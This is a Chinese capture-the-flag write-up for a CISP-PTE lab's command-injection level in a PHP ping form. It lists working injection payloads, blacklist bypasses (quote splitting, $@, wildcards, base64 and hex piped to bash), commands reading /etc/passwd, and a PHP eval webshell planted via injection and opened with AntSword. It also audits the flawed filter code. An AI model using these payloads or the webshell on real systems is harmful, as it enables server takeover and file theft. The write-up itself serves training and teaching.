CISP-PTE 命令执行2

目录

一、渗透实战

1、打开靶场

2、查看当前目录

3、查看根目录

[(1)方法1:ls ..](#(1)方法1:ls ..)

[(2)方法1:ls /var/www/html](#(2)方法1:ls /var/www/html)

4、查看flag

(1)cat查看flag(失败)

(2)more查看flag(失败)

(3)less查看flag(失败)

(4)nl查看flag(成功)

(5)单引号绕过(成功)

(6)双引号绕过(成功)

(7)shell特殊字符(成功)

[(8)awk '{print}'查看flag](#(8)awk '{print}'查看flag)

[(9)sed 查看flag(成功)](#(9)sed 查看flag(成功))

二、写入木马法获取flag

1、植入木马

2、浏览器hackbar访问

3、蚁剑工具访问

4、获取flag

三、代码审计

1、查看fu1.php源码

2、查看function.php源码

3、绕过filter()函数的思路

(1)使用未过滤的命令

(2)命令拼接和嵌套

(3)编码和混淆


本文通过10种渗透方法详细讲解CISP-PTE靶场命令执行关卡cat绕过的渗透实战全流程。通过分析靶场页面提示,发现存在命令执行安全风险,尝试使用cat、more、less等命令查看flag文件均被过滤。成功利用nl、awk、sed等未被过滤命令以及单双引号绕过、shell特殊字符等方法读取flag。随后通过命令注入写入木马文件,使用蚁剑连接获取服务器权限。代码审计发现安全风险源于过滤逻辑缺陷,黑名单仅限制9个命令,且IP验证不严格。文章还总结了绕过过滤的多种思路,包括使用替代命令、命令拼接和编码混淆等技术。

一、渗透实战

1、打开靶场

打开靶场,页面提示"命令执行是指攻击者通过浏览器或者其他客户端软件提交一些cmd命令(或者bash命令)至服务器程序,服务器程序通过system、eval、exec等函数直接或者间接地调用cmd.exe执行攻击者提交的命令。通过你所学到的知识,通过执行Linux命令获取webshell,答案就在根目录下key.php文件中。请开始答题!"

复制代码
http://e98526d0.clsadp.com/

点击进入答题,如下所示进入了命令执行页面,提示"验证主机是否存活"。

复制代码
http://e98526d0.clsadp.com/vulnerabilities/fu1.php

2、查看当前目录

127.0.0.1&ls

输出信息footer.php fu1.php function.php index.php nav1.php nav1.php

3、查看根目录

根据当前URL可知当前fu.php在根目录的vulnerabilities文件夹中,故而上一层目录就是网站根目/var/www/html,也就是说查看网站根目录的命令可以用ls ..来执行,这个命令等同于执行命令ls /var/www/html。

复制代码
http://e98526d0.clsadp.com/vulnerabilities/fu1.php

(1)方法1:ls ..

127.0.0.1&ls ..

执行结果为:css fonts footer.php index.php js key.php nav.php vulnerabilities

(2)方法1:ls /var/www/html

127.0.0.1&ls /var/www/html

执行结果为:css fonts footer.php index.php js key.php nav.php vulnerabilities

4、查看flag

(1)cat查看flag(失败)

127.0.0.1&cat ../key.php

如下所示,提示"你输入的命令包含敏感字符!请检查命令是否填写正确!",说明cat可能被过滤了

(2)more查看flag(失败)

127.0.0.1&more ../key.php

如下所示,提示"你输入的命令包含敏感字符!请检查命令是否填写正确!",说明more可能被过滤了。

(3)less查看flag(失败)

127.0.0.1&less ../key.php

如下所示,提示"你输入的命令包含敏感字符!请检查命令是否填写正确!",说明less可能被过滤了。

(4)nl查看flag(成功)

127.0.0.1&nl ../key.php

  • nl - 行号编号命令,用于给文件内容添加行号显示

  • 不在黑名单中(黑名单只有cat、less、more等9个命令)

  • 功能与cat类似,但会显示行号

  • ../key.php - 目标文件路径

如下所示渗透成功,右键元素获取到flag值。

右键源码查看flag,如下所示。

(5)单引号绕过(成功)

127.0.0.1; c''at ../key.php

  • 使用空单引号来混淆"cat"命令

  • 在Shell中,c''at 会被解析为 c + 空字符串 + at = cat

  • 单引号内的内容为空,不影响命令执行

  • Shell会自动进行字符串连接:c + '' + at = cat

  • 最终执行:cat ../key.php

(6)双引号绕过(成功)

127.0.0.1; c""at ../key.php

  • 使用空双引号来混淆"cat"命令

  • 在Shell中,c""at 会被解析为 c + 空字符串 + at = cat

  • 双引号内的内容为空,不影响命令执行

  • Shell会自动进行字符串连接:c + "" + at = cat

  • 最终执行:cat ../key.php

(7)shell特殊字符(成功)

利用Shell 特殊变量绕过

127.0.0.1; ca$@t ../key.php

  • 使用环境变量和特殊字符来混淆"cat"命令

  • $@ 在Shell中是一个特殊参数,代表所有位置参数

  • 在Shell解析时:

    • $@ 扩展为空字符串(因为没有位置参数)

    • 命令变成:ca + 空字符串 + t = cat

    • 最终执行:cat ../key.php

(8)awk '{print}'查看flag

127.0.0.1;awk '{print}' ../key.php

  • awk命令不在黑名单中(黑名单只有cat、less、more等9个命令)

  • '{print}'是awk的打印动作,会输出文件的每一行

  • ../key.php指定要读取的目标文件路径

(9)sed 查看flag(成功)

127.0.0.1;sed -n '1,$p' ../key.php

  • sed - 流编辑器,用于文本处理(不在黑名单中)

  • -n - 安静模式,不自动打印模式空间

  • '1,$p' - 地址范围从第1行到最后一行($),执行打印(p)操作

  • ../key.php - 目标文件路径(上级目录的key.php文件)

二、写入木马法获取flag

1、植入木马

127.0.0.1;echo -e "<?php @eval(\$_POST[ljn]);?>">mooyuan.php

2、浏览器hackbar访问

复制代码
http://e98526d0.clsadp.com/vulnerabilities/mooyuan.php
ljn=phpinfo();

3、蚁剑工具访问

复制代码
http://e98526d0.clsadp.com/vulnerabilities/mooyuan.php
密码ljn

4、获取flag

/var/www/html/key.php

/var/www/html/key.php

三、代码审计

1、查看fu1.php源码

通过蚁剑工具打开/var/www/html/vulnerabilities/fu1.php文件查看源码,如下所示代码实现的主机存活检测功能存在严重命令注入安全风险。其使用逻辑或连接三个验证条件,只要IP格式验证通过或输入为空即可绕过命令过滤,导致用户输入被直接拼接进system函数执行,攻击者可通过注入分号等符号执行任意系统命令,严重威胁服务器安全。

PHP代码实现了一个存在安全风险的主机存活检测功能,通过POST表单接收用户输入的cmd参数后,使用"||"逻辑或运算符连接三个验证条件:filter()函数检查是否包含黑名单命令、filterip()函数验证IP地址格式、以及empty()判断是否为空。只要任一条件为真就会执行system("ping -c 1 $cmd")命令。这个逻辑设计存在致命缺陷------攻击者只需输入合法IP地址或空值即可完全绕过命令过滤检测,从而在IP参数位置注入分号、管道符等连接符拼接任意系统命令。代码直接将未经验证的用户输入拼接进系统命令,结合有缺陷的过滤逻辑,形成了典型的命令注入风险,导致攻击者能够执行任意系统指令,严重威胁服务器安全。完整代码如下所示。

复制代码
<!DOCTYPE html>
<html>
  <head>
    <meta charset="gb2312">
    <title>CISP-PTE 认证考试</title>
    <link rel="stylesheet" href="../css/materialize.min.css">

  </head>
  <body>
<div class="container">

  <?php error_reporting(0); ?>

<!-- Navbar goes here -->

   <!-- Page Layout here -->
   <div class="row">

     <div class="col s3">
       <?php 
     		include("nav1.php"); 
         	
         	include("function.php"); 
         ?>
     </div>

     <div class="col s9">
       <h5>基础题目之命令执行</h5>
       <b>描述</b>
       <p>请开始答题</p>
       <div class="card  teal lighten-1">
            <div class="card-content white-text">
              <span class="card-title">验证主机是否存活</span>
              
              <form method=POST enctype="multipart/form-data" action="">
                      <input type="text" name="cmd">
                      <input type=submit value="提交"></form>

            </div>
            <div class="card-action">
            	
                 <?php 
                 	 
                 	 $cmd = $_POST["cmd"];
                 	 
                 	 if (filter($cmd) || filterip($cmd) || empty($cmd))
                 	 {
                 	 	echo system("ping -c 1 $cmd"); 
                 	 }
                 	 else
                 	 {
                 	 	 echo "你输入的命令包含敏感字符!请检查命令是否填写正确!";
                 	 }
                  ?>
                 	 
            </div>
          </div>

     </div>

   </div>

</div>
		 <p align="center"><?php include("footer.php"); ?> </p>
  </body>
</html>

2、查看function.php源码

通过蚁剑工具打开/var/www/html/vulnerabilities/function.php文件,查看过滤函数filter的具体实现,如下所示。

这段PHP代码实现了两个安全过滤函数:filter()函数通过黑名单机制检测用户输入命令是否包含9种危险文件操作命令(cat、less、more、tac、head、tail、od、mv、cp),使用不区分大小写的stristr函数进行匹配,发现危险命令则拒绝执行;filterip()函数利用PHP内置的FILTER_VALIDATE_IP过滤器严格验证IP地址格式的合法性。两个函数共同构成应用层安全防护体系,旨在防止命令注入攻击和IP地址伪造,适用于需要执行系统命令和验证网络地址的Web应用场景,通过输入过滤提升系统安全性。注释后的源码如下所示。

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <?php /** * 命令安全过滤函数 * 功能:检查输入命令是否包含危险文件操作命令 */ function filter(cmd) { // 定义危险命令黑名单数组 // 主要包含文件读取和操作相关的命令 cmdarrays = array("cat", "less", "more","tac","head","tail","od","mv","cp"); // 遍历黑名单数组,检查输入命令是否包含危险命令 foreach (cmdarrays as \&value ) { // 使用stristr函数进行不区分大小写的字符串查找 // 如果找到黑名单中的命令,返回false(拒绝执行) if (stristr(cmd, value)) { return false; } } return true; // 未检测到危险命令,返回true(允许执行) } /** * IP地址验证函数 * 功能:验证输入是否为合法的IP地址格式 */ function filterip(ip) { // 使用PHP内置的FILTER_VALIDATE_IP过滤器验证IP地址格式 // 支持IPv4、IPv6等标准格式验证 if(filter_var(ip, FILTER_VALIDATE_IP)) { return true; // IP地址格式正确,返回true } return false; // IP地址格式错误,返回false } ?> |

3、绕过filter()函数的思路

(1)使用未过滤的命令

由于黑名单只包含9个命令,可以使用其他命令替代:

复制代码
# 使用nl命令(行号显示)
127.0.0.1;nl /etc/passwd

# 使用grep命令
127.0.0.1;grep -r "" /etc/passwd

# 使用awk命令
127.0.0.1;awk '{print}' /etc/passwd

# 使用sed命令
127.0.0.1;sed -n '1,$p' /etc/passwd

(2)命令拼接和嵌套

复制代码
# 使用命令替换
127.0.0.1;c''a''t /etc/passwd
127.0.0.1;c\at /etc/passwd

# 使用环境变量
127.0.0.1;/bin/ca? /etc/passwd
127.0.0.1;ca$@t /etc/passwd

# 使用通配符
127.0.0.1;/???/c?t /etc/passwd

(3)编码和混淆

复制代码
# Base64编码绕过
127.0.0.1;echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash

# Hex编码
127.0.0.1;echo '636174202f6574632f706173737764' | xxd -r -p | bash

# 使用printf
127.0.0.1;printf 'cat\x20/etc/passwd' | bash
相关推荐
mooyuan天天19 天前
CISP-PTE 命令执行1
cisp-pte·命令执行·命令执行漏洞
LQxdp1 个月前
Java 表达式命令执行
命令执行·el 表达式·java 安全
码农12138号1 个月前
Bugku HackINI 2022 Whois 详解
linux·web安全·ctf·命令执行·bugku·换行符
mooyuan天天3 个月前
CTFHub RCE通关笔记1:eval执行(两种方法渗透)
rce·eval·命令执行·ctfhub
爱隐身的官人4 个月前
ctfshow - web - 命令执行漏洞总结(二)
php·命令执行
泪不是Web妳而流8 个月前
【CTFSHOW_Web入门】命令执行
web安全·网络安全·php·linux命令·rce·命令执行·ctfshow命令执行wp题解
摸鱼也很难8 个月前
[GXYCTF2019]Ping Ping Ping
ctf·命令执行
脸红ฅฅ*的思春期1 年前
CTFshow—远程命令执行
命令执行·ctf-show
一路向北_.1 年前
CTFshow 命令执行 web37-web40
网络安全·web·命令执行